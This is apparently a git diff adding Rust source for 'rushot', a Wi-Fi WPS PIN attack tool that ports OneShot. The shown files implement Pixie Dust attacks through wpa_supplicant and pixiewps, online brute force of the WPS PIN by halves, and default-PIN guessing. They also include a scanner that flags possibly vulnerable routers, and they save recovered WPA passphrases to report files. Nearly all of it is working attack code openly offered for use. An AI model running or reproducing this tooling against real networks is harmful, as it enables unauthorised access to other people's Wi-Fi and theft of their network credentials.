std::env::var("HOME").unwrap_or_else(|_| "/root".to_string()); + let home_path = PathBuf::from(home_dir); + let sessions_dir = home_path.join(".rushot/sessions/"); + let pixiewps_dir = home_path.join(".rushot/pixiewps/"); + let reports_dir = PathBuf::from("reports/"); + + fs::create_dir_all(&sessions_dir).ok(); + fs::create_dir_all(&pixiewps_dir).ok(); + + Ok(Self { + interface, + save_result, + print_debug, + bssid, + last_pwr: "0".to_string(), + _tempdir: tempdir, + _tempconf: tempconf, + wpas_ctrl_path, + res_socket_file, + retsock, + wpas, + pixie_creds: PixiewpsData::new(), + connection_status: ConnectionStatus::new(), + bruteforce: None, + sessions_dir, + pixiewps_dir, + reports_dir, + generator: WPSpin::new(), + }) + } + + pub fn send_only(&self, command: &str) { + let _ = self.retsock.send_to(command.as_bytes(), &self.wpas_ctrl_path); + } + + pub fn send_and_receive(&self, command: &str) -> String { + let _ = self.retsock.send_to(command.as_bytes(), &self.wpas_ctrl_path); + let mut buf = [0u8; 4096]; + self.retsock.set_read_timeout(Some(Duration::from_secs(5))).ok(); + match self.retsock.recv(&mut buf) { + Ok(n) => String::from_utf8_lossy(&buf[..n]).to_string(), + Err(_) => String::new(), + } + } + + fn explain_wpas_not_ok_status(command: &str, respond: &str) -> &'static str { + if command.starts_with("WPS_REG") || command.starts_with("WPS_PBC") { + if respond.trim() == "UNKNOWN COMMAND" { + return "[!] It looks like your wpa_supplicant is compiled without WPS protocol support. Please build wpa_supplicant with WPS support (\"CONFIG_WPS=y\")"; + } + } + "[!] Something went wrong — check out debug log" + } + + fn print_with_indicators(&self, level: &str, msg: &str) { + println!("[{}] [{}] {}", level, self.last_pwr, msg); + } + + fn handle_wpas_line( + &mut self, + line: &str, + pixiemode: bool, + pbc_mode: bool, + verbose: bool, + target_bssid: &str, + ) { + let line = line.trim_end_matches('\n').trim_end_matches('\r'); + + if verbose { + eprintln!("{}", line); + } + + if line.starts_with("WPS: ") { + if line.contains("Building Message M") { + if let Some(num_str) = line.split("Building Message M").nth(1) { + let cleaned = num_str.replace('D', ""); + if let Ok(n) = cleaned.trim().parse::() { + self.connection_status.last_m_message = n; + self.print_with_indicators("*", &format!("Sending WPS Message M{}…", n)); + } + } + } else if line.contains("Received M") { + if let Some(num_str) = line.split("Received M").nth(1) { + if let Ok(n) = num_str.trim().parse::() { + self.connection_status.last_m_message = n; + self.print_with_indicators("*", &format!("Received WPS Message M{}", n)); + if n == 5 { + println!("[+] The first half of the PIN is valid"); + } + } + } + } else if line.contains("Received WSC_NACK") { + self.connection_status.status = "WSC_NACK".to_string(); + self.print_with_indicators("*", "Received WSC NACK"); + println!("[-] Error: wrong PIN code"); + } else if line.contains("Enrollee Nonce") && line.contains("hexdump") { + self.pixie_creds.e_nonce = get_hex(line); + if pixiemode { + println!("[P] E-Nonce: {}", self.pixie_creds.e_nonce); + } + } else if line.contains("DH own Public Key") && line.contains("hexdump") { + self.pixie_creds.pkr = get_hex(line); + if pixiemode { + println!("[P] PKR: {}", self.pixie_creds.pkr); + } + } else if line.contains("DH peer Public Key") && line.contains("hexdump") { + self.pixie_creds.pke = get_hex(line); + if pixiemode { + println!("[P] PKE: {}", self.pixie_creds.pke); + } + } else if line.contains("AuthKey") && line.contains("hexdump") { + self.pixie_creds.authkey = get_hex(line); + if pixiemode { + println!("[P] AuthKey: {}", self.pixie_creds.authkey); + } + } else if line.contains("E-Hash1") && line.contains("hexdump") { + self.pixie_creds.e_hash1 = get_hex(line); + if pixiemode { + println!("[P] E-Hash1: {}", self.pixie_creds.e_hash1); + } + } else if line.contains("E-Hash2") && line.contains("hexdump") { + self.pixie_creds.e_hash2 = get_hex(line); + if pixiemode { + println!("[P] E-Hash2: {}", self.pixie_creds.e_hash2); + } + } else if line.contains("Network Key") && line.contains("hexdump") { + self.connection_status.status = "GOT_PSK".to_string(); + let hex_val = get_hex(line); + self.connection_status.wpa_psk = parse_hex_to_string(&hex_val); + } + } else if line.contains(": State: ") { + if line.contains("-> SCANNING") { + self.connection_status.status = "scanning".to_string(); + self.print_with_indicators("*", "Scanning…"); + } + } else if line.contains("WPS-FAIL") && !self.connection_status.status.is_empty() { + self.connection_status.status = "WPS_FAIL".to_string(); + println!("[-] wpa_supplicant returned WPS-FAIL"); + } else if line.contains("Trying to authenticate with") { + self.connection_status.status = "authenticating".to_string(); + if line.contains("SSID") { + if let Some(ssid) = line.split("'").nth(1) { + self.connection_status.essid = ssid.to_string(); + } + } + self.print_with_indicators("*", "Authenticating…"); + } else if line.contains("Authentication response") { + self.print_with_indicators("*", "Authenticated"); + } else if line.contains("Trying to associate with") { + self.connection_status.status = "associating".to_string(); + if line.contains("SSID") { + if let Some(ssid) = line.split("'").nth(1) { + self.connection_status.essid = ssid.to_string(); + } + } + self.print_with_indicators("*", "Associating with AP…"); + } else if line.contains("Associated with") && line.contains(&self.interface) { + if let Some(bssid) = line.split_whitespace().last() { + let bssid_upper = bssid.to_uppercase(); + if !self.connection_status.essid.is_empty() { + self.print_with_indicators( + "+", + &format!( + "Associated with {} (ESSID: {})", + bssid_upper, self.connection_status.essid + ), + ); + } else { + self.print_with_indicators("+", &format!("Associated with {}", bssid_upper)); + } + } + } else if line.contains("EAPOL: txStart") { + self.connection_status.status = "eapol_start".to_string(); + self.print_with_indicators("*", "Sending EAPOL Start…"); + } else if line.contains("EAP entering state IDENTITY") { + self.print_with_indicators("*", "Received Identity Request"); + } else if line.contains("using real identity") { + self.print_with_indicators("*", "Sending Identity Response…"); + } else if !self.bssid.is_empty() && line.contains(&self.bssid) && line.contains("level=") { + if let Some(lvl) = line.split("level=").nth(1) { + if let Some(sig) = lvl.split_whitespace().next() { + self.last_pwr = sig.to_string(); + } + } + } else if pbc_mode && line.contains("selected BSS ") { + if let Some(part) = line.split("selected BSS ").nth(1) { + if let Some(bssid) = part.split_whitespace().next() { + let bssid_upper = bssid.to_uppercase(); + self.connection_status.bssid = bssid_upper.clone(); + println!("[*] Selected AP: {}", bssid_upper); + } + } + } else if !target_bssid.is_empty() && line.contains(target_bssid) && line.contains("level=") + { + if let Some(lvl) = line.split("level=").nth(1) { + if let Some(sig) = lvl.split_whitespace().next() { + if line.contains("noise=") { + if let Some(n) = line.split("noise=").nth(1) { + if let Some(noise) = n.split_whitespace().next() { + println!("[i] Current signal: {}, noise: {}", sig, noise); + } + } + } else { + println!("[i] Current signal: {}", sig); + } + } + } + } + } + + fn run_pixiewps(&self, showcmd: bool, full_range: bool) -> Option { + self.print_with_indicators("*", "Running Pixiewps…"); + let cmd = self.pixie_creds.get_pixie_cmd(full_range); + if showcmd { + println!("{}", cmd); + } + + let output = Command::new("sh").arg("-c").arg(&cmd).output(); + let output = match output { + Ok(o) => o, + Err(e) => { + println!("[!] Error running pixiewps: {}", e); + return None; + } + }; + + let stdout = String::from_utf8_lossy(&output.stdout); + print!("{}", stdout); + + if output.status.success() { + for line in stdout.lines() { + if line.contains("[+]") && line.contains("WPS pin") { + if let Some(pin_part) = line.split(':').last() { + let mut pin = pin_part.trim().to_string(); + if pin == "" { + pin = "''".to_string(); + } + return Some(pin); + } + } + } + } + None + } + + fn credential_print(&self, wps_pin: &str, wpa_psk: &str, essid: &str) { + println!("[+] WPS PIN: '{}'", wps_pin); + println!("[+] WPA PSK: '{}'", wpa_psk); + println!("[+] AP SSID: '{}'", essid); + } + + fn save_result(&self, bssid: &str, essid: &str, wps_pin: &str, wpa_psk: &str) { + fs::create_dir_all(&self.reports_dir).ok(); + let txt_filename = self.reports_dir.join("stored.txt"); + let csv_filename = self.reports_dir.join("stored.csv"); + let date_str = Local::now().format("%d.%m.%Y %H:%M").to_string(); + + if let Ok(mut file) = OpenOptions::new() + .create(true) + .append(true) + .open(&txt_filename) + { + let _ = writeln!( + file, + "{}\nBSSID: {}\nESSID: {}\nWPS PIN: {}\nWPA PSK: {}\n", + date_str, bssid, essid, wps_pin, wpa_psk + ); + } + + let write_header = !csv_filename.exists(); + if let Ok(mut file) = OpenOptions::new() + .create(true) + .append(true) + .open(&csv_filename) + { + if write_header { + let _ = writeln!(file, "\"Date\";\"BSSID\";\"ESSID\";\"WPS PIN\";\"WPA PSK\""); + } + let _ = writeln!( + file, + "\"{}\";\"{}\";\"{}\";\"{}\";\"{}\"", + date_str, bssid, essid, wps_pin, wpa_psk + ); + } + + println!( + "[i] Credentials saved to {}, {}", + txt_filename.display(), + csv_filename.display() + ); + } + + fn save_pin(&self, bssid: &str, pin: &str) { + let clean_bssid = bssid.replace(':', "").to_uppercase(); + let filename = self.pixiewps_dir.join(format!("{}.run", clean_bssid)); + if let Ok(mut file) = File::create(&filename) { + let _ = writeln!(file, "{}", pin); + println!("[i] PIN saved in {}", filename.display()); + } + } + + fn wps_connection( + &mut self, + bssid: Option<&str>, + pin: Option<&str>, + pixiemode: bool, + pbc_mode: bool, + verbose_override: Option, + ) -> bool { + let verbose = verbose_override.unwrap_or(self.print_debug); + self.pixie_creds.clear(); + self.connection_status.clear(); + + let cmd = if pbc_mode { + if let Some(b) = bssid { + println!("[*] Starting WPS push button connection to {}…", b); + format!("WPS_PBC {}", b) + } else { + println!("[*] Starting WPS push button connection…"); + "WPS_PBC".to_string() + } + } else { + let p = pin.unwrap_or(""); + let b = bssid.unwrap_or(""); + println!("[*] Trying PIN '{}'…", p); + format!("WPS_REG {} {}", b, p) + }; + + let r = self.send_and_receive(&cmd); + if !r.contains("OK") { + self.connection_status.status = "WPS_FAIL".to_string(); + println!("{}", Self::explain_wpas_not_ok_status(&cmd, &r)); + return false; + } + + let target_b = bssid.unwrap_or("").to_lowercase(); + let stdout = self.wpas.stdout.take(); + if let Some(out) = stdout { + let reader = BufReader::new(out); + for line_res in reader.lines() { + let line = match line_res { + Ok(l) => l, + Err(_) => break, + }; + self.handle_wpas_line(&line, pixiemode, pbc_mode, verbose, &target_b); + + if self.connection_status.status == "WSC_NACK" + || self.connection_status.status == "GOT_PSK" + || self.connection_status.status == "WPS_FAIL" + { + break; + } + } + } + + self.send_only("WPS_CANCEL"); + false + } + + pub fn single_connection( + &mut self, + bssid: Option<&str>, + mut pin: Option, + pixiemode: bool, + pbc_mode: bool, + showpixiecmd: bool, + pixieforce: bool, + store_pin_on_fail: bool, + ) -> bool { + let bssid_str = bssid.unwrap_or("").to_string(); + if pin.is_none() { + if pixiemode { + let clean_bssid = bssid_str.replace(':', "").to_uppercase(); + let filename = self.pixiewps_dir.join(format!("{}.run", clean_bssid)); + let mut loaded_pin = None; + if let Ok(file) = File::open(&filename) { + let mut reader = BufReader::new(file); + let mut first_line = String::new(); + if reader.read_line(&mut first_line).is_ok() && !first_line.trim().is_empty() { + let t_pin = first_line.trim().to_string(); + print!( + "[?] Use previously calculated PIN {}? [n/Y] ", + t_pin + ); + io::stdout().flush().ok(); + let mut ans = String::new(); + io::stdin().read_line(&mut ans).ok(); + if !ans.trim().eq_ignore_ascii_case("n") { + loaded_pin = Some(t_pin); + } + } + } + pin = loaded_pin.or_else(|| { + Some( + self.generator + .get_likely(&bssid_str) + .unwrap_or_else(|| "12345670".to_string()), + ) + }); + } else if !pbc_mode { + pin = self + .generator + .prompt_wpspin(&bssid_str) + .or_else(|| Some("12345670".to_string())); + } + } + + let effective_pin = pin.clone().unwrap_or_else(|| "".to_string()); + + if pbc_mode { + self.wps_connection(bssid, None, false, true, None); + let bssid_got = self.connection_status.bssid.clone(); + return self.finish_connection( + &bssid_got, + "", + pixiemode, + pbc_mode, + showpixiecmd, + pixieforce, + store_pin_on_fail, + ); + } else { + self.wps_connection(bssid, pin.as_deref(), pixiemode, false, None); + return self.finish_connection( + &bssid_str, + &effective_pin, + pixiemode, + pbc_mode, + showpixiecmd, + pixieforce, + store_pin_on_fail, + ); + } + } + + fn finish_connection( + &mut self, + bssid: &str, + pin: &str, + pixiemode: bool, + pbc_mode: bool, + showpixiecmd: bool, + pixieforce: bool, + store_pin_on_fail: bool, + ) -> bool { + if self.connection_status.status == "GOT_PSK" { + let psk = self.connection_status.wpa_psk.clone(); + let essid = self.connection_status.essid.clone(); + self.credential_print(pin, &psk, &essid); + if self.save_result { + self.save_result(bssid, &essid, pin, &psk); + } + if !pbc_mode { + let clean_bssid = bssid.replace(':', "").to_uppercase(); + let filename = self.pixiewps_dir.join(format!("{}.run", clean_bssid)); + let _ = fs::remove_file(filename); + } + return true; + } else if pixiemode { + if self.pixie_creds.got_all() { + if let Some(found_pin) = self.run_pixiewps(showpixiecmd, pixieforce) { + return self.single_connection( + Some(bssid), + Some(found_pin), + false, + false, + showpixiecmd, + pixieforce, + true, + ); + } + return false; + } else { + println!("[!] Not enough data to run Pixie Dust attack"); + return false; + } + } else { + if store_pin_on_fail { + self.save_pin(bssid, pin); + } + return false; + } + } + + pub fn smart_bruteforce( + &mut self, + bssid: &str, + start_pin: Option, + delay: Option, + ) { + let mask = if start_pin.is_none() || start_pin.as_ref().unwrap().len() < 4 { + let clean_bssid = bssid.replace(':', "").to_uppercase(); + let filename = self.sessions_dir.join(format!("{}.run", clean_bssid)); + let mut restored = None; + if let Ok(file) = File::open(&filename) { + let mut reader = BufReader::new(file); + let mut line = String::new(); + if reader.read_line(&mut line).is_ok() && !line.trim().is_empty() { + let m = line.trim().to_string(); + print!("[?] Restore previous session for {}? [n/Y] ", bssid); + io::stdout().flush().ok(); + let mut ans = String::new(); + io::stdin().read_line(&mut ans).ok(); + if !ans.trim().eq_ignore_ascii_case("n") { + restored = Some(m); + } + } + } + restored.unwrap_or_else(|| "0000".to_string()) + } else { + let p = start_pin.unwrap(); + if p.len() >= 7 { + p[..7].to_string() + } else { + p + } + }; + + let mut status = BruteforceStatus::new(); + status.mask = mask.clone(); + self.bruteforce = Some(status); + + if mask.len() == 4 { + if let Some(f_half) = self.first_half_bruteforce(bssid, &mask, delay) { + if self.connection_status.status != "GOT_PSK" { + self.second_half_bruteforce(bssid, &f_half, "001", delay); + } + } + } else if mask.len() >= 7 { + let f_half = &mask[..4]; + let s_half = &mask[4..7]; + self.second_half_bruteforce(bssid, f_half, s_half, delay); + } + + // Save session on exit + let clean_bssid = bssid.replace(':', "").to_uppercase(); + let filename = self.sessions_dir.join(format!("{}.run", clean_bssid)); + if let Some(ref b_status) = self.bruteforce { + if let Ok(mut f) = File::create(&filename) { + let _ = writeln!(f, "{}", b_status.mask); + println!("[i] Session saved in {}", filename.display()); + } + } + } + + fn first_half_bruteforce( + &mut self, + bssid: &str, + start_f_half: &str, + delay: Option, + ) -> Option { + let mut cur: u32 = start_f_half.parse().unwrap_or(0); + while cur < 10000 { + let f_half_str = format!("{:04}", cur); + let t: u32 = format!("{}000", f_half_str).parse().unwrap_or(0); + let csum = WPSpin::checksum(t); + let pin = format!("{}000{}", f_half_str, csum); + + self.single_connection( + Some(bssid), + Some(pin), + false, + false, + false, + false, + false, + ); + + if self.connection_status.is_first_half_valid() { + println!("[+] First half found"); + return Some(f_half_str); + } else if self.connection_status.status == "WPS_FAIL" { + println!("[!] WPS transaction failed, re-trying last pin"); + return self.first_half_bruteforce(bssid, &f_half_str, delay); + } + + cur += 1; + if let Some(ref mut b_status) = self.bruteforce { + b_status.register_attempt(format!("{:04}", cur)); + } + + if let Some(d) = delay { + thread::sleep(Duration::from_secs_f64(d)); + } + } + println!("[-] First half not found"); + None + } + + fn second_half_bruteforce( + &mut self, + bssid: &str, + f_half: &str, + start_s_half: &str, + delay: Option, + ) -> Option { + let mut cur: u32 = start_s_half.parse().unwrap_or(0); + while cur < 1000 { + let s_half_str = format!("{:03}", cur); + let t: u32 = format!("{}{}", f_half, s_half_str).parse().unwrap_or(0); + let csum = WPSpin::checksum(t); + let pin = format!("{}{}{}", f_half, s_half_str, csum); + + self.single_connection( + Some(bssid), + Some(pin.clone()), + false, + false, + false, + false, + false, + ); + + if self.connection_status.last_m_message > 6 { + return Some(pin); + } else if self.connection_status.status == "WPS_FAIL" { + println!("[!] WPS transaction failed, re-trying last pin"); + return self.second_half_bruteforce(bssid, f_half, &s_half_str, delay); + } + + cur += 1; + if let Some(ref mut b_status) = self.bruteforce { + b_status.register_attempt(format!("{}{:03}", f_half, cur)); + } + + if let Some(d) = delay { + thread::sleep(Duration::from_secs_f64(d)); + } + } + None + } + + pub fn cleanup(&self) { + let _ = fs::remove_file(&self.res_socket_file); + } +} + +impl Drop for Companion { + fn drop(&mut self) { + self.cleanup(); + let _ = self.wpas.kill(); + } +} diff --git a/src/mac.rs b/src/mac.rs new file mode 100644 index 0000000..b52d466 --- /dev/null +++ b/src/mac.rs @@ -0,0 +1,69 @@ +use std::fmt; + +#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord)] +pub struct NetworkAddress { + int_repr: u64, + str_repr: String, +} + +impl NetworkAddress { + pub fn from_str(mac: &str) -> Result { + let cleaned = mac.replace(['-', '.'], ":").to_uppercase(); + let hex_digits = cleaned.replace(':', ""); + if hex_digits.len() != 12 { + return Err("Invalid MAC address length".to_string()); + } + let int_val = u64::from_str_radix(&hex_digits, 16) + .map_err(|_| "Invalid hex digits in MAC address".to_string())?; + + let str_val = Self::int2mac(int_val); + Ok(Self { + int_repr: int_val, + str_repr: str_val, + }) + } + + #[allow(dead_code)] + pub fn from_int(mac: u64) -> Self { + Self { + int_repr: mac, + str_repr: Self::int2mac(mac), + } + } + + pub fn integer(&self) -> u64 { + self.int_repr + } + + pub fn set_integer(&mut self, val: u64) { + self.int_repr = val; + self.str_repr = Self::int2mac(val); + } + + pub fn string(&self) -> &str { + &self.str_repr + } + + #[allow(dead_code)] + pub fn set_string(&mut self, s: &str) { + if let Ok(addr) = Self::from_str(s) { + self.int_repr = addr.int_repr; + self.str_repr = addr.str_repr; + } + } + + fn int2mac(mac: u64) -> String { + let hex_str = format!("{:012X}", mac & 0xFFFFFFFFFFFF); + let mut parts = Vec::new(); + for i in (0..12).step_by(2) { + parts.push(&hex_str[i..i + 2]); + } + parts.join(":") + } +} + +impl fmt::Display for NetworkAddress { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "{}", self.str_repr) + } +} diff --git a/src/main.rs b/src/main.rs new file mode 100644 index 0000000..44c1fe0 --- /dev/null +++ b/src/main.rs @@ -0,0 +1,217 @@ +mod companion; +mod mac; +mod scanner; +mod wpspin; + +use clap::Parser; +use companion::Companion; +use scanner::WiFiScanner; +use std::fs; +use std::io::{self, Write}; +use std::path::Path; +use std::process::{exit, Command}; + +/// OneShotPin 0.0.2 in Rust (rushot) - Wi-Fi WPA WPS PIN attack tool +#[derive(Parser, Debug)] +#[command( + name = "rushot", + author = "JesusChapman", + version = "0.1.0", + about = "Wi-Fi WPA WPS PIN attack and scanning tool reimplemented 1:1 in Rust", + after_help = "Example: rushot -i wlan0 -b 00:90:4C:C1:AC:21 -K" +)] +struct Args { + /// Name of the interface to use + #[arg(short = 'i', long = "interface", required = true)] + interface: String, + + /// BSSID of the target AP + #[arg(short = 'b', long = "bssid")] + bssid: Option, + + /// Use the specified pin (arbitrary string or 4/8 digit pin) + #[arg(short = 'p', long = "pin")] + pin: Option, + + /// Run Pixie Dust attack + #[arg(short = 'K', long = "pixie-dust")] + pixie_dust: bool, + + /// Run Pixiewps with --force option (bruteforce full range) + #[arg(short = 'F', long = "pixie-force")] + pixie_force: bool, + + /// Always print Pixiewps command + #[arg(short = 'X', long = "show-pixie-cmd")] + show_pixie_cmd: bool, + + /// Run online bruteforce attack + #[arg(short = 'B', long = "bruteforce")] + bruteforce: bool, + + /// Run WPS push button connection + #[arg(long = "pbc", alias = "push-button-connect")] + pbc: bool, + + /// Set the delay between pin attempts (in seconds) + #[arg(short = 'd', long = "delay")] + delay: Option, + + /// Write AP credentials to file on success + #[arg(short = 'w', long = "write")] + write: bool, + + /// Down network interface when the work is finished + #[arg(long = "iface-down")] + iface_down: bool, + + /// Use custom file with vulnerable devices list + #[arg(long = "vuln-list", default_value = "vulnwsc.txt")] + vuln_list: String, + + /// Run in a loop + #[arg(short = 'l', long = "loop")] + loop_mode: bool, + + /// Reverse order of networks in the list of networks. Useful on small displays + #[arg(short = 'r', long = "reverse-scan")] + reverse_scan: bool, + + /// Activate MediaTek Wi-Fi interface driver on startup and deactivate it on exit + #[arg(long = "mtk-wifi")] + mtk_wifi: bool, + + /// Verbose output + #[arg(short = 'v', long = "verbose")] + verbose: bool, +} + +fn die(msg: &str) -> ! { + eprintln!("{}", msg); + exit(1); +} + +fn iface_up(iface: &str, down: bool) -> bool { + let action = if down { "down" } else { "up" }; + let status = Command::new("ip") + .args(["link", "set", iface, action]) + .status(); + match status { + Ok(s) => s.success(), + Err(_) => false, + } +} + +fn main() { + let mut args = Args::parse(); + + // Check root user + let uid = unsafe { libc::getuid() }; + if uid != 0 { + die("Run it as root"); + } + + if args.mtk_wifi { + let mtk_path = Path::new("/dev/wmtWifi"); + if !mtk_path.exists() { + die("Unable to activate MediaTek Wi-Fi interface device (--mtk-wifi): /dev/wmtWifi does not exist"); + } + let _ = Command::new("chmod").args(["644", "/dev/wmtWifi"]).status(); + if fs::write(mtk_path, "1").is_err() { + die("Failed to write '1' to /dev/wmtWifi"); + } + } + + if !iface_up(&args.interface, false) { + die(&format!("Unable to up interface \"{}\"", args.interface)); + } + + loop { + let target_bssid = if args.pbc { + None + } else { + if args.bssid.is_none() { + let vuln_list = if Path::new(&args.vuln_list).exists() { + fs::read_to_string(&args.vuln_list) + .unwrap_or_default() + .lines() + .map(|s| s.to_string()) + .collect() + } else { + Vec::new() + }; + + let scanner = WiFiScanner::new(args.interface.clone(), vuln_list); + if !args.loop_mode { + println!("[*] BSSID not specified (--bssid) — scanning for available networks"); + } + args.bssid = scanner.prompt_network(args.reverse_scan); + } + args.bssid.clone() + }; + + let mut companion = match Companion::new( + args.interface.clone(), + args.write, + args.verbose, + target_bssid.clone().unwrap_or_default(), + ) { + Ok(c) => c, + Err(e) => { + eprintln!("[!] Companion init error: {}", e); + break; + } + }; + + if args.pbc { + companion.single_connection( + None, + None, + false, + true, + false, + false, + false, + ); + } else if let Some(ref bssid_val) = target_bssid { + if args.bruteforce { + companion.smart_bruteforce(bssid_val, args.pin.clone(), args.delay); + } else { + companion.single_connection( + Some(bssid_val), + args.pin.clone(), + args.pixie_dust, + false, + args.show_pixie_cmd, + args.pixie_force, + false, + ); + } + } + + if !args.loop_mode { + break; + } else { + args.bssid = None; + print!("\n[?] Exit the script (otherwise continue to AP scan)? [N/y] "); + io::stdout().flush().ok(); + let mut ans = String::new(); + if io::stdin().read_line(&mut ans).is_ok() { + if ans.trim().eq_ignore_ascii_case("y") { + println!("Aborting…"); + break; + } + } else { + break; + } + } + } + + if args.iface_down { + iface_up(&args.interface, true); + } + + if args.mtk_wifi { + let _ = fs::write("/dev/wmtWifi", "0"); + } +} diff --git a/src/scanner.rs b/src/scanner.rs new file mode 100644 index 0000000..51f50b6 --- /dev/null +++ b/src/scanner.rs @@ -0,0 +1,344 @@ +use colored::*; +use regex::Regex; +use std::fs::File; +use std::io::{self, BufRead, BufReader, Write}; +use std::process::Command; +use unicode_width::UnicodeWidthStr; + +#[derive(Debug, Clone)] +pub struct WiFiNetwork { + pub bssid: String, + pub essid: String, + pub level: i32, + pub security_type: String, + pub wps: bool, + pub wps_locked: bool, + pub model: String, + pub model_number: String, + pub device_name: String, +} + +pub struct WiFiScanner { + pub interface: String, + pub vuln_list: Vec, + pub stored: Vec<(String, String)>, +} + +impl WiFiScanner { + pub fn new(interface: String, vuln_list: Vec) -> Self { + let stored = Self::load_stored_reports(); + Self { + interface, + vuln_list, + stored, + } + } + + fn load_stored_reports() -> Vec<(String, String)> { + let path = "reports/stored.csv"; + let file = match File::open(path) { + Ok(f) => f, + Err(_) => return Vec::new(), + }; + + let reader = BufReader::new(file); + let mut stored = Vec::new(); + for (i, line) in reader.lines().enumerate() { + if i == 0 { + continue; // Skip header + } + if let Ok(l) = line { + let parts: Vec<&str> = l.split(';').map(|s| s.trim_matches('"')).collect(); + if parts.len() >= 3 { + stored.push((parts[1].to_uppercase(), parts[2].to_string())); + } + } + } + stored + } + + fn unescape_str(s: &str) -> String { + let mut result = String::new(); + let mut chars = s.chars().peekable(); + while let Some(c) = chars.next() { + if c == '\\' { + if let Some(&next) = chars.peek() { + match next { + 'x' => { + chars.next(); + let h1 = chars.next().unwrap_or('0'); + let h2 = chars.next().unwrap_or('0'); + let hex_str = format!("{}{}", h1, h2); + if let Ok(byte) = u8::from_str_radix(&hex_str, 16) { + result.push(byte as char); + } + } + 'n' => { + chars.next(); + result.push('\n'); + } + 'r' => { + chars.next(); + result.push('\r'); + } + 't' => { + chars.next(); + result.push('\t'); + } + '\\' => { + chars.next(); + result.push('\\'); + } + _ => { + result.push(c); + } + } + } else { + result.push(c); + } + } else { + result.push(c); + } + } + result + } + + pub fn iw_scanner(&self, reverse_scan: bool) -> Option> { + let output = Command::new("iw") + .args(["dev", &self.interface, "scan"]) + .output(); + + let output = match output { + Ok(o) => o, + Err(e) => { + println!("[!] Error running iw scan: {}", e); + return None; + } + }; + + let stdout = String::from_utf8_lossy(&output.stdout); + let lines: Vec<&str> = stdout.lines().collect(); + + let re_bss = Regex::new(r"BSS (\S+)( )?\(on \w+\)").unwrap(); + let re_ssid = Regex::new(r"SSID: (.*)").unwrap(); + let re_signal = Regex::new(r"signal: ([+-]?([0-9]*[.])?[0-9]+) dBm").unwrap(); + let re_cap = Regex::new(r"(capability): (.+)").unwrap(); + let re_rsn = Regex::new(r"(RSN):\t [*] Version: (\d+)").unwrap(); + let re_wpa = Regex::new(r"(WPA):\t [*] Version: (\d+)").unwrap(); + let re_wps = Regex::new(r"WPS:\t [*] Version: (([0-9]*[.])?[0-9]+)").unwrap(); + let re_wps_lock = Regex::new(r" [*] AP setup locked: (0x[0-9]+)").unwrap(); + let re_model = Regex::new(r" [*] Model: (.*)").unwrap(); + let re_model_num = Regex::new(r" [*] Model Number: (.*)").unwrap(); + let re_dev_name = Regex::new(r" [*] Device name: (.*)").unwrap(); + + let mut networks: Vec = Vec::new(); + + for line in lines { + if line.starts_with("command failed:") { + println!("[!] Error: {}", line); + return None; + } + let line_trimmed = line.trim_start_matches('\t'); + + if let Some(cap) = re_bss.captures(line_trimmed) { + let bssid = cap.get(1).unwrap().as_str().to_uppercase(); + networks.push(WiFiNetwork { + bssid, + essid: String::new(), + level: 0, + security_type: "Unknown".to_string(), + wps: false, + wps_locked: false, + model: String::new(), + model_number: String::new(), + device_name: String::new(), + }); + } + + if networks.is_empty() { + continue; + } + + let cur = networks.last_mut().unwrap(); + + if let Some(cap) = re_ssid.captures(line_trimmed) { + cur.essid = Self::unescape_str(cap.get(1).unwrap().as_str()); + } else if let Some(cap) = re_signal.captures(line_trimmed) { + if let Ok(val) = cap.get(1).unwrap().as_str().parse::() { + cur.level = val as i32; + } + } else if let Some(cap) = re_cap.captures(line_trimmed) { + let cap_str = cap.get(2).unwrap().as_str(); + if cap_str.contains("Privacy") { + cur.security_type = "WEP".to_string(); + } else { + cur.security_type = "Open".to_string(); + } + } else if let Some(_) = re_rsn.captures(line_trimmed) { + if cur.security_type == "WEP" { + cur.security_type = "WPA2".to_string(); + } else if cur.security_type == "WPA" { + cur.security_type = "WPA/WPA2".to_string(); + } + } else if let Some(_) = re_wpa.captures(line_trimmed) { + if cur.security_type == "WEP" { + cur.security_type = "WPA".to_string(); + } else if cur.security_type == "WPA2" { + cur.security_type = "WPA/WPA2".to_string(); + } + } else if let Some(_) = re_wps.captures(line_trimmed) { + cur.wps = true; + } else if let Some(cap) = re_wps_lock.captures(line_trimmed) { + let hex_val = cap.get(1).unwrap().as_str(); + if let Ok(flag) = u32::from_str_radix(hex_val.trim_start_matches("0x"), 16) { + if flag != 0 { + cur.wps_locked = true; + } + } + } else if let Some(cap) = re_model.captures(line_trimmed) { + cur.model = Self::unescape_str(cap.get(1).unwrap().as_str()); + } else if let Some(cap) = re_model_num.captures(line_trimmed) { + cur.model_number = Self::unescape_str(cap.get(1).unwrap().as_str()); + } else if let Some(cap) = re_dev_name.captures(line_trimmed) { + cur.device_name = Self::unescape_str(cap.get(1).unwrap().as_str()); + } + } + + // Filter non-WPS networks + let mut wps_networks: Vec = + networks.into_iter().filter(|n| n.wps).collect(); + if wps_networks.is_empty() { + return None; + } + + // Sort by signal level descending + wps_networks.sort_by(|a, b| b.level.cmp(&a.level)); + + if reverse_scan { + wps_networks.reverse(); + } + + if !self.vuln_list.is_empty() { + println!( + "Network marks: {} | {} | {}", + "Possibly vulnerable".green(), + "WPS locked".red(), + "Already stored".yellow() + ); + } + + println!("Networks list:"); + println!( + "{:<4} {:<18} {:<25} {:<8} {:<4} {:<27} {:<}", + "#", "BSSID", "ESSID", "Sec.", "PWR", "WSC device name", "WSC model" + ); + + for (i, net) in wps_networks.iter().enumerate() { + let number_str = format!("{})", i + 1); + let model_full = format!("{} {}", net.model, net.model_number); + let essid_display = if net.essid.is_empty() { + "HIDDEN".to_string() + } else { + net.essid.clone() + }; + + let proc_num = Self::truncate_str(&number_str, 4); + let proc_bssid = Self::truncate_str(&net.bssid, 18); + let proc_essid = Self::truncate_str(&essid_display, 25); + let proc_sec = Self::truncate_str(&net.security_type, 8); + let proc_pwr = Self::truncate_str(&net.level.to_string(), 4); + let proc_dev = Self::truncate_str(&net.device_name, 27); + let proc_model = model_full.clone(); + + let line = format!( + "{} {} {} {} {} {} {}", + proc_num, proc_bssid, proc_essid, proc_sec, proc_pwr, proc_dev, proc_model + ); + + let is_stored = self + .stored + .iter() + .any(|(b, e)| b == &net.bssid && e == &essid_display); + + if is_stored { + println!("{}", line.yellow()); + } else if net.wps_locked { + println!("{}", line.red()); + } else if !self.vuln_list.is_empty() && self.vuln_list.contains(&model_full) { + println!("{}", line.green()); + } else { + println!("{}", line); + } + } + + Some(wps_networks) 